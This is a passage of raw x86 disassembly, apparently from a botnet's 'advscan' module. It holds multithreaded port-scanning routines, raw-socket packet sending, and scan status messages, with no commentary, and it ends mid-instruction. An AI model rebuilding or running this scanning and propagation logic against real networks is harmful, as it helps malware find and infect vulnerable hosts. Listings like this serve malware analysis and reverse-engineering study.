mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset dword_43B600 push 2 push eax call sub_401622 mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_401726 push eax call edi add eax, ebx add esp, 4 cmp eax, 0C8h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, [esp+7A0h+var_78D] test al, al jz loc_421586 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_48873B call sub_40178F add esp, 18h loc_42140E: ; CODE XREF: sub_421170+20Bj lea ecx, [ebp+46892h] call sub_401479 push eax lea ecx, [esi+7Eh] call sub_4012B7 test eax, eax jnz loc_421569 push offset dword_43B600 lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_401622 mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_401726 push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_4011F9 mov eax, ds:dword_43C328 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_421499 mov eax, offset dword_43C328 loc_421485: ; CODE XREF: sub_421170+327j cmp [eax+8], edi jb short loc_42148F mov [esp+7A0h+var_78D], 1 loc_42148F: ; CODE XREF: sub_421170+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_421485 loc_421499: ; CODE XREF: sub_421170+30Ej mov ebp, ds:dword_4B3C18 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp mov eax, ds:dword_43C328 add esp, 8 test eax, eax jz short loc_4214FF mov edi, offset dword_43C330 loc_4214BF: ; CODE XREF: sub_421170+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx call ds:dword_4B3AB4 mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_4214BF loc_4214FF: ; CODE XREF: sub_421170+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx call ds:dword_4B3AB4 mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_421559 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_401479 push eax push 0 call sub_4014BF add esp, 10h loc_421559: ; CODE XREF: sub_421170+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010BE add esp, 4 loc_421569: ; CODE XREF: sub_421170+1C0j ; sub_421170+1EBj ... xor al, al loc_42156B: ; CODE XREF: sub_421170+98j ; sub_421170+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_421586: ; CODE XREF: sub_421170+26Ej push offset dword_43B600 lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_401622 mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_401726 push eax call edi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_4011F9 push offset dword_43B600 lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+7A0h+var_4], 3 call sub_401726 push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_4011F9 push offset dword_43B600 lea edx, [esp+7A4h+var_788] push 3 push edx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_401726 push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_4011F9 mov eax, [esp+7A0h+var_658] cmp eax, 1 jnb short loc_421668 mov [esp+7A0h+var_658], 1 jmp short loc_421678 ; --------------------------------------------------------------------------- loc_421668: ; CODE XREF: sub_421170+4E9j cmp eax, 3Ch jbe short loc_421678 mov [esp+7A0h+var_658], 3Ch loc_421678: ; CODE XREF: sub_421170+4F6j ; sub_421170+4FBj push offset dword_43B600 lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_401622 mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_401726 push eax call edi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_4011F9 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_4216D1 mov [esp+7A0h+var_654], eax loc_4216D1: ; CODE XREF: sub_421170+558j mov eax, ds:dword_43C328 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_4217A1 mov ebp, offset dword_43C328 jmp short loc_4216F7 ; --------------------------------------------------------------------------- loc_4216F4: ; CODE XREF: sub_421170+607j or ebx, 0FFFFFFFFh loc_4216F7: ; CODE XREF: sub_421170+582j push offset dword_43B600 lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_401726 mov edi, eax lea ecx, [ebp-28h] loc_421721: ; CODE XREF: sub_421170+5CFj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_421745 test al, al jz short loc_421741 mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_421745 add ecx, 2 add edi, 2 test al, al jnz short loc_421721 loc_421741: ; CODE XREF: sub_421170+5BBj xor eax, eax jmp short loc_421749 ; --------------------------------------------------------------------------- loc_421745: ; CODE XREF: sub_421170+5B7j ; sub_421170+5C5j sbb eax, eax sbb eax, ebx loc_421749: ; CODE XREF: sub_421170+5D3j test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_4011F9 test bl, bl jnz short loc_42177F mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_4216F4 jmp short loc_42179E ; --------------------------------------------------------------------------- loc_42177F: ; CODE XREF: sub_421170+5F4j mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, ds:dword_43C328[eax*4] mov [esp+7A0h+var_65C], edx loc_42179E: ; CODE XREF: sub_421170+60Dj or ebx, 0FFFFFFFFh loc_4217A1: ; CODE XREF: sub_421170+577j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_4217BF lea ecx, [esi+2Ah] call sub_401479 push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4218DA ; --------------------------------------------------------------------------- loc_4217BF: ; CODE XREF: sub_421170+63Aj push offset dword_43B600 lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_401622 push offset dword_43B7F8 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_40138E lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_4011F9 test edi, edi jz loc_42189C push offset dword_43B600 lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_401622 mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_401726 push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx call ds:dword_4B3AA8 add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_4011F9 push offset dword_43B600 lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_401622 push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_401726 push eax call ds:dword_4B3AC4 add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_4011F9 jmp loc_4219CB ; --------------------------------------------------------------------------- loc_42189C: ; CODE XREF: sub_421170+68Dj push offset aR ; " -r" mov ecx, esi call sub_40138E test eax, eax jnz short loc_4218F9 push offset aA ; " -a" mov ecx, esi call sub_40138E test eax, eax jnz short loc_4218F9 push offset aB ; " -b" mov ecx, esi call sub_40138E test eax, eax jnz short loc_4218F9 lea ecx, [esi+2Ah] call sub_401479 push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4218DA: ; CODE XREF: sub_421170+64Aj mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_48873B call sub_4010FF loc_4218F2: ; CODE XREF: sub_421170+132j mov al, 1 jmp loc_42156B ; --------------------------------------------------------------------------- loc_4218F9: ; CODE XREF: sub_421170+73Aj ; sub_421170+74Aj ... mov ecx, ds:dword_488753 lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h call ds:dword_4B3CB8 push offset aA ; " -a" mov ecx, esi call sub_40138E mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax call ds:dword_4B3CA0 push eax lea eax, [esp+7A8h+var_770] push eax call ds:dword_4B3AE0 add esp, 0Ch mov ecx, esi push offset aR ; " -r" call sub_40138E test eax, eax jz short loc_4219C0 push offset aA ; " -a" mov ecx, esi call sub_40138E mov ebp, ds:dword_4B3A74 mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp add esp, 8 xor bl, bl test edi, edi jle short loc_4219B3 loc_421997: ; CODE XREF: sub_421170+841j test eax, eax jz short loc_4219B3 lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_421997 loc_4219B3: ; CODE XREF: sub_421170+825j ; sub_421170+829j mov [esp+7A0h+var_630], 1 jmp short loc_4219CB ; --------------------------------------------------------------------------- loc_4219C0: ; CODE XREF: sub_421170+7F6j mov [esp+7A0h+var_630], 0 loc_4219CB: ; CODE XREF: sub_421170+727j ; sub_421170+84Ej mov edx, ds:dword_488753 xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_401726 push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx call ds:dword_4B3AA8 mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_421A2D mov eax, offset aSequential ; "sequential" loc_421A2D: ; CODE XREF: sub_421170+8B6j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:43C30Ah[eax*4] push ecx push offset aAdvscanSSPortS ; "advscan(%s): %s port scan %s:%d [delay "... mov ecx, edi call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_48873B call sub_40178F push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401AD7 add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_4020BD mov al, 1 jmp loc_42156B sub_421170 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D20 proc near ; CODE XREF: sub_401131j arg_A6 = dword ptr 0AAh mov eax, [esp+arg_A6] lea eax, [eax+eax*2] lea eax, [eax+eax*4] mov ecx, ds:dword_43C330[eax*4] inc ecx mov ds:dword_43C330[eax*4], ecx mov al, 1 retn sub_421D20 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D50 proc near ; CODE XREF: sub_401CC1j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h call ds:dword_4B3CB8 mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset dword_43BB9C push offset dword_4B1C98 call ds:dword_4B3C18 mov eax, offset dword_4B1C98 add esp, 2Ch retn sub_421D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421E10 proc near ; CODE XREF: sub_401DF2j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, ds:dword_4AFD40[esi*8] push eax call ds:dword_4B3C7C inc eax push eax call ds:dword_4B3C78 mov ds:dword_4AFD40[esi*8], eax pop esi retn sub_421E10 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421E50 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_421E82 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_421E82: ; CODE XREF: sub_421E50+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset dword_43BB9C push edx call ds:dword_4B3A70 mov eax, [esp+34h+var_8] mov esi, ds:dword_4B3A9C add esp, 18h cmp eax, ebx jnz short loc_421EBA call esi mov [esp+1Ch+var_8], eax loc_421EBA: ; CODE XREF: sub_421E50+62j cmp [esp+1Ch+var_C], ebx jnz short loc_421EC6 call esi mov [esp+1Ch+var_C], eax loc_421EC6: ; CODE XREF: sub_421E50+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_421ED2 call esi mov [esp+1Ch+var_10], eax loc_421ED2: ; CODE XREF: sub_421E50+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_421EDC call esi loc_421EDC: ; CODE XREF: sub_421E50+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov ds:dword_4AFD40[ecx*8], eax pop ebx add esp, 10h retn sub_421E50 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F40 proc near ; CODE XREF: sub_401D07j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi call ds:dword_4B3CAC mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_421F6E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_421F6E: ; CODE XREF: sub_421F40+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax call ds:dword_4B3CB0 lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi call ds:dword_4B3C74 lea eax, [esp+128h+var_114] push 10h push eax push esi call ds:dword_4B3CB4 mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi call ds:dword_4B3C5C push esi mov edi, eax call ds:dword_4B3CA8 xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_421F40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_422030: ; CODE XREF: _294ADE7B:00401041j ; DATA XREF: sub_412570+B7o mov eax, 10110h call sub_430390 push ebx push ebp mov ebp, ds:dword_4B3CB0 push esi push edi push 2649h call ebp mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp mov [esp+26h], ax call ds:dword_4B3A9C xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401942 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h call ds:dword_4B3CAC mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_422159 push offset aSocketOpenFail ; "socket open failed" jmp loc_422258 ; --------------------------------------------------------------------------- loc_422159: ; CODE XREF: _294ADE7B:0042214Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi call ds:dword_4B3C84 mov edi, eax cmp edi, 14h jz short loc_4221B2 call ds:dword_4B3C60 push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx call ds:dword_4B3C18 lea edx, [esp+78h] push edx call sub_4010BE add esp, 14h push esi call ds:dword_4B3CA8 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_4221B2: ; CODE XREF: _294ADE7B:00422177j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_422203 mov edi, ds:dword_4B3C80 loc_4221DA: ; CODE XREF: _294ADE7B:00422201j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi test eax, eax jl short loc_422232 cmp [esp+0FEh], bp jnz short loc_4221DA loc_422203: ; CODE XREF: _294ADE7B:004221D2j push esi call ds:dword_4B3CA8 cmp word ptr [esp+10Eh], 1 jnz short loc_422253 push offset aSocketOpen_ ; "Socket open." call sub_4010BE add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_422232: ; CODE XREF: _294ADE7B:004221F7j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010BE add esp, 4 push esi call ds:dword_4B3CA8 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_422253: ; CODE XREF: _294ADE7B:00422213j push offset aSocketClosed_ ; "Socket closed." loc_422258: ; CODE XREF: _294ADE7B:00422154j call sub_4010BE add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_422300: ; CODE XREF: sub_401DDEj sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 call ds:dword_4B38D0 push eax call ds:dword_4B3AA0 lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:441E23h[eax*4] mov eax, ds:dword_442027[eax*4] mov ecx, ds:dword_4AFD44[eax*8] test ecx, ecx jz loc_4225B4 mov ebx, ds:dword_4B3C18 loc_42237C: ; CODE XREF: _294ADE7B:004225AAj mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_422397 lea edx, [esp+1Ch] push edx call sub_401113 add esp, 8 jmp short loc_42239F ; --------------------------------------------------------------------------- loc_422397: ; CODE XREF: _294ADE7B:00422386j call sub_401DF2 add esp, 4 loc_42239F: ; CODE XREF: _294ADE7B:00422395j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, ds:dword_4B3CA0 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx add esp, 18h lea ecx, [esp+220h] push ecx push ebp call ebx mov edx, [esp+138h] mov eax, [esp+134h] push edx push eax push esi call sub_401D07 add esp, 14h cmp eax, 1 jnz loc_422590 cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_4224B2 push offset dword_4B1C80 call ds:dword_4B3868 mov ecx, [esp+12Ch] push ecx push esi call edi push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_422492 mov al, [esp+0A8h] test al, al jz short loc_42246D mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_42248A ; --------------------------------------------------------------------------- loc_42246D: ; CODE XREF: _294ADE7B:00422449j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_42248A: ; CODE XREF: _294ADE7B:0042246Bj call sub_4014BF add esp, 10h loc_422492: ; CODE XREF: _294ADE7B:0042243Ej lea edx, [esp+220h] push edx call sub_4010BE add esp, 4 push offset dword_4B1C80 call ds:dword_4B386C jmp loc_422590 ; --------------------------------------------------------------------------- loc_4224B2: ; CODE XREF: _294ADE7B:00422406j push esi call edi push eax lea eax, [esp+16Ch] push eax call ebx mov eax, [esp+150h] add esp, 8 lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+1F8h] lea edx, ds:43C300h[ecx*4] push edx push eax call ebx mov al, [esp+0B0h] add esp, 8 test al, al jz short loc_422502 lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_42250F ; --------------------------------------------------------------------------- loc_422502: ; CODE XREF: _294ADE7B:004224EEj lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_42250F: ; CODE XREF: _294ADE7B:00422500j call ebx mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call ds:off_43C32C[edx*4] add esp, 0BCh loc_422590: ; CODE XREF: _294ADE7B:004223F8j ; _294ADE7B:004224ADj push 7D0h call ds:dword_4B38CC mov eax, [ebp+204h] mov ecx, ds:dword_4AFD44[eax*8] test ecx, ecx jnz loc_42237C mov esi, [esp+10h] loc_4225B4: ; CODE XREF: _294ADE7B:00422370j push esi call sub_401CEE add esp, 4 push 0 call ds:dword_4B3870 nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_422690: ; CODE XREF: sub_4020BDj mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax call ds:dword_4B3CBC sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov ds:dword_4AFD40[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_40142E add esp, 150h cmp eax, ebx jnz short loc_422711 push offset dword_4B1C80 call ds:dword_4B385C push offset dword_4B1C80 call ds:dword_4B3860 loc_422711: ; CODE XREF: _294ADE7B:004226F9j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, ds:dword_4B38CC mov esi, ebx mov ds:dword_4AFD44[edx*8], ebx cmp eax, ebx mov ebx, ds:dword_4B3C18 jb loc_422840 mov edi, ds:dword_4B3864 loc_422742: ; CODE XREF: _294ADE7B:0042283Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401AD7 lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset sub_401DDE push 0 push 0 mov ds:dword_442027[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov ds:dword_442037[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, ds:dword_442037[eax*4] test ecx, ecx jz short loc_422808 mov eax, [esp+158h] test eax, eax jnz short loc_42282E loc_4227F7: ; CODE XREF: _294ADE7B:00422804j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_4227F7 jmp short loc_42282E ; --------------------------------------------------------------------------- loc_422808: ; CODE XREF: _294ADE7B:004227EAj call ds:dword_4B3898 push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx lea edx, [esp+168h] push edx call sub_4010BE add esp, 10h loc_42282E: ; CODE XREF: _294ADE7B:004227F5j ; _294ADE7B:00422806j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_422742 loc_422840: ; CODE XREF: _294ADE7B:00422736j mov eax, [esp+12Ch] test eax, eax jz short loc_42286E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_4228A1 ; --------------------------------------------------------------------------- loc_42286E: ; CODE XREF: _294ADE7B:00422849j mov ecx, [esp+130h] mov esi, 1 cmp ds:dword_4AFD44[ecx*8], esi jnz short loc_4228A1 loc_422883: ; CODE XREF: _294ADE7B:00422898j push 7D0h call ebp mov edx, [esp+130h] cmp ds:dword_4AFD44[edx*8], esi jz short loc_422883 mov eax, [esp+12Ch] loc_4228A1: ; CODE XREF: _294ADE7B:0042286Cj ; _294ADE7B:00422881j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, ds:dword_4AFD40[ecx*8] push ecx call ds:dword_4B3CA0 push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_422902 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_4014BF add esp, 10h loc_422902: ; CODE XREF: _294ADE7B:004228DBj lea edx, [esp+15Ch] push edx call sub_4010BE mov eax, [esp+134h] add esp, 4 push 0BB8h mov ds:dword_4AFD44[eax*8], 0 call ebp push 3 call 